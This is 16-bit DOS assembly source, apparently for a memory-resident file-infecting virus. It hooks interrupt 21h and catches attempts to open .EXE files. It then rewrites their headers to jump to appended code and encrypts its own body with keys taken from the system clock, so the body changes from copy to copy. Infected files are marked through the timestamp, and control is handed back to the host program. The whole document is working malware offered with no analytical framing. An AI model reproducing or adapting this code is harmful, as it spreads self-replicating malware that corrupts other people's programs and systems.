code segment assume cs:code,ds:code org 100h start: mov ax,8000h mov es,ax mov si,offset file1 mov di,0 mov cx,14 rep movsb mov ax,9000h mov es,ax mov si,offset start mov di,100h mov cx,1200 rep movsb mov si,offset kkk push es push si asd db 0cbh kkk: ;begin at 9000:???? push cs pop ds push cs pop ss mov fileseg,8000h mov fileoff,0 mov ax,3521h int 21h mov si,offset old21 mov cs:[si],bx mov cs:[si+2],es push cs pop es call begin call owhead cmp mark,1 jnz ca1 ;if already_bd then w(end) jmp w ca1:call cacul call write w:mov ah,4ch int 21h file1 db 'cdos.exe',0 ;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& int_21h macro pushf call cs:old21 endm count1 equ (offset jr -offset zd)/2 size equ offset mmyy -offset data size2 equ (offset mmyy -offset data)/2 myint equ 21h old21 dd ? data db 0f8h,0fch,0fbh,0fch,090h,0f9h,0fdh,0f8h,0f9h,0fbh db 0f8h,0f9h,090h,0fdh,0fch,090h,0fbh,090h,0f9h,0fbh db 0fch,090h,0fdh,090h,0fdh,0f9h,0fbh,090h,0fdh,0f8h db 0fch,0f9h,0f9h,090h,0fch,090h,0fdh,0f9h,0f8h,090h db 0fbh,090h,0fch,0fbh,0fdh,0f8h,0f9h,0fbh,090h,0fbh db 0fdh,0f9h,090h,0fbh,0fdh,0fbh,090h,0fch,0fdh,090h db 090h,0f8h,0fbh,0fdh,0f9h,090h,0f9h,0fbh,0fdh,090h,0fbh mark db ? ndx dw ? handel dw ? fileseg dw 0 fileoff dw 0 bss dw 0 bsp dw 0 bip dw 0 bcs dw 0 hour db ? min db ? prsec db ? sec db ? k1 dw ? k2 dw ? i21: pop ax cmp ax,'zd' jnz go call init go: call goback run: ;run in INT21 call begin call owhead cmp mark,1 jnz ca jmp qret ;;!!!!!!!! ca:call cacul w1:call write qret: ret owhead proc near ; ****************owhead**...change EXE filehead mov mark,0 mov dx,fileoff mov ds,fileseg mov ax,3d02h int_21h push cs pop ds mov bx,ax mov handel,bx mov ax,5700h ;****comp time int 21h and cx,0000000000011111b cmp cx,31 jnz bg ;if sec=62 then return(already have bd) mov mark,1 ;mark=1(already_bd_in_file) ret bg: mov ah,3fh mov cx,48 mov dx,offset buff1 int 21h ;read EXE filehead to buff1 mov si,offset buff1 mov di,offset bss mov ax,[si+0eh] ;ss stosw mov ax,[si+10h] ;sp stosw mov ax,[si+14h] ;ip stosw mov ax,[si+16h] ;cs stosw ;save old head_info mov ax,4202h xor cx,cx xor dx,dx int 21h push dx push ax add ax,size add ax,count1 jnc c3 inc dx c3: mov cx,200h div cx mov word ptr buff1[2],dx or dx,dx jz c4 inc ax c4: mov word ptr buff1[4],ax mov cx,20h mul cx mov word ptr buff1[0eh],ax pop ax pop dx mov cx,16 div cx sub ax,word ptr buff1[8] xor cx,cx mov cl,prsec sub ax,cx cmp ax,0 jg l5 add ax,cx l5: mov word ptr buff1[16h],ax mov ax,cx mov cl,4 shl ax,cl add dx,ax mov word ptr buff1[14h],dx mov ndx,dx mov ax,4200h xor cx,cx xor dx,dx int 21h mov dx,offset buff1 mov ah,40h mov cx,48 int 21h ;change filehead ret owhead endp write proc near ;***************write*************** mov dx,ndx add dx,k2 add dx,10h mov [si+8],dx ;mov si,???? mov bx,handel mov ax,4202h xor cx,cx xor dx,dx int 21h mov dx,offset my mov ah,40h mov cx,offset mmyy- offset a1 add cx,k2 cmp mark,1 jz close int 21h mov dh,hour mov dl,min mov ah,sec mov al,prsec xor dx,ax mov mark,0 mov ax,size mov si,offset data re: xor di,di sub ax,100h cmp ax,0 jl xy mov cx,100h push cx rep movsb mov cx,80h jmp tmd xy: mov mark,1 add ax,100h push ax mov cl,1 shr ax,cl mov cx,ax push cx rep movsw pop cx tmd: xor di,di jm: ;************jm************ xor [di],'zd' xor [di],dx add di,2 loop jm pop cx pa db 60h call w40 pb db 61h cmp mark,1 jz set jmp re set: mov ax,5700h ;******settime********; int 21h and cx,1111111111100000b add cx,31 mov ax,5701h int 21h close: mov ah,3eh int 21h ret write endp w40 proc near mov ah,40h mov dx,0 int 21h ret w40 endp begin proc near ;********begin**...produce bd_start code mov ah,2ch ;change bd_start code and produce some key bt reading time int 21h mov hour,ch mov min,cl mov sec,dh mov prsec,dl ;get time ;xor cx,dx ;mov dx,cx ;mov si,offset zd ;mov cx,count1 ;cx=(jr-zd)/2 ;ll: ;xor [si],dx ;add si,2 ;loop ll ;chagne code(jiam begin of the bd) mov ah,0 mov al,dh mov bl,3 div bl mov ah,0 mov k1,ax ;k1=sec/3 mov ah,0 mov al,dl mov bl,10 div bl mov ah,0 mov k2,ax ;k2=prsec/10 mov si,offset data mov bx,si add bx,70 mov ah,0 mov al,dh add si,ax ;si=offset_data+sec cmp si,bx jg s2 jmp l3 s2:sub si,70 l3: mov di,offset my mov cx,k2 cmp cx,2 jle l4 jmp l1 l4: mov cx,2 l1: mov al,[si] mov [di],al ;send changed data to buff_my(produce bd_start code) inc di mov dx,k1 mov bp,si add si,dx cmp si,bx jg s1 mov al,cs:[bp+1] xchg [si],al ;change bd_start code mov cs:[bp],al jmp l2 s1:sub si,70 l2: loop l1 ret begin endp ;*******************cacul**...produce the bd_jm code cacul proc near push cs pop es call jmm mov si,offset a1 mov di,offset my add di,k2 ;di=(std,sti ....)???? mov cx,offset mmyy-offset a1 rep movsb call jmm ;mov dh,hour ;mov dl,min ;mov ch,sec ;mov cl,prsec ;xor dx,cx ;mov si,offset zd ;mov cx,count1 ;hy: ;xor [si],dx ;add si,2 ;loop hy ;jm start_bd_code(init) mov si,offset my ;my=a1 mov bx,[si] add si,k2 mov cx,count1+(offset mmyy -offset data)/2 xor cx,bx mov [si+1],cx ;mov cx,????(cx) mov [si+5],bx ;xor cx,????(bx) mov ax,si add ax,16h ;14h offset mov [si+8],ax ;mov si,???? mov ah,sec mov al,prsec mov bh,hour mov bl,min xor bx,ax mov [si+0dh+1],bx ;xor cs:[si],???? ret cacul endp jmm proc near mov dh,hour mov dl,min mov ch,sec mov cl,prsec xor dx,cx mov si,offset zd-7 mov cx,count1+4 hy: xor [si],dx add si,2 loop hy ;jm start_bd_code(init) ret jmm endp goback proc near ;**************goback**... go back to old EXE file mov ax,ds add ax,10h push cs pop ds add bss,ax add bcs,ax mov bx,0 push bx popf mov ss,bss mov sp,bsp sub ax,10h mov es,ax mov ds,ax sti jmp dword ptr cs:bip ret goback endp init proc near ;*************init**...change int21 entrace mov ax,0 mov es,ax mov si,offset old21 mov ax,es:[4*myint] mov cs:[si],ax mov ax,es:[4*myint+2] mov cs:[si+2],ax mov ax,cs mov es:[4*myint+2],ax mov ax,offset new21 mov es:[4*myint],ax ret init endp new21 proc near ;***************new21************** cmp ah,88h jnz q1 mov ax,cs iret q1:cmp ah,3dh jnz quit1 pusha db 60h mov cs:fileseg,ds mov cs:fileoff,dx mov si,dx l8: cmp byte ptr [si],'.' jnz l7 inc si cmp [si],'XE' jz p2 cmp [si],'xe' jz p2 jmp quit l7: inc si inc di jmp l8 p2: push es push ds push cs pop ds push cs pop es call run pop ds pop es quit: popa db 61h ;jmp end quit1: jmp dword ptr cs:old21 ;jump back to oldint21 new21 endp end: mov ah,4ch int 21h a1:mov cx,0 a2:xor cx,0 a3:mov si,offset zd push si a4:xor cs:[si],1110 inc si inc si sub cx,2 jne a4 a5: zd: resident: nop pop si add si,offset jr-offset zd mov ax,0 push ax popf mov ah,88h int 21h cmp ah,88h jnz jumphigh mov ax,'zd' ;ax=zd menu should init push ax push ds mov bx,ds dec bx mov ds,bx mov bx,3072 mov cl,4 shr bx,cl sub ds:[3],bx sub ds:[12h],bx mov bx,ds:[12h] mov es,bx call res pop ds jjmm: sub bx,10h push bx mov ax,offset i21 push ax gb db 0cbh jumphigh: ;mov byte ptr cs:[si+71],0 mov cx,'ZD' push cx add ax,10h mov es,ax mov bx,ax push ds call res pop ds jmp jjmm res proc near push cs pop ds mov di,offset data-100h mov cx,size2 ress: lodsw xor ax,'zd' stosw loop ress ret res endp jr: ;jmp back and run mmyy: my db 1,1,1,1,1,1,1,1,1,1 buff1 db 48 dup(0) code ends end start